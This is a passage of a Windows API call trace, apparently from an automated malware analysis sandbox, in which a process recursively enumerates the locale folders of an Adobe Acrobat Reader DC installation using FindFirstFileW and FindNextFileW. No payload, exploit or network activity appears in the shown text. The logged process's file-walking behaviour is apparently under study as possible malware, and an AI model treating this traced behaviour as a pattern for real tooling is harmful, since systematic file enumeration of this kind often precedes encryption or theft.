hFindFile=0x33e4ea8) returned 1 [0253.864] GetProcessHeap () returned 0xc10000 [0253.864] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.864] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0253.864] GetProcessHeap () returned 0xc10000 [0253.864] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.864] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0253.865] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.865] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3779, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.865] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3779, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.865] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0253.865] GetProcessHeap () returned 0xc10000 [0253.865] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.865] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0253.866] GetProcessHeap () returned 0xc10000 [0253.866] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.866] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.866] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.866] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x5492, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.866] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x5492, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.866] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0253.867] GetProcessHeap () returned 0xc10000 [0253.867] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.867] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0253.867] GetProcessHeap () returned 0xc10000 [0253.867] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.867] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.868] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.868] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3e30, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.869] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3e30, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.869] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.869] GetProcessHeap () returned 0xc10000 [0253.869] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.869] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0253.869] GetProcessHeap () returned 0xc10000 [0253.869] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.869] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0253.870] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.870] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3a37, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.870] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3a37, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.870] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0253.870] GetProcessHeap () returned 0xc10000 [0253.870] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.870] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0253.871] GetProcessHeap () returned 0xc10000 [0253.871] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.872] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.872] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.872] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0253.872] GetProcessHeap () returned 0xc10000 [0253.873] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.873] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0253.873] GetProcessHeap () returned 0xc10000 [0253.873] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.873] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.873] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.873] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3a9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.873] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3a9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.873] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0253.874] GetProcessHeap () returned 0xc10000 [0253.874] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.874] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0253.874] GetProcessHeap () returned 0xc10000 [0253.874] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.875] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.875] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3af2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.875] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3af2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0253.875] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0253.875] GetProcessHeap () returned 0xc10000 [0253.875] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0253.875] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.875] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0253.876] GetProcessHeap () returned 0xc10000 [0253.876] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0253.876] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.877] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.877] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x55ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0253.877] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x55ed, dwReserved0=0x0, 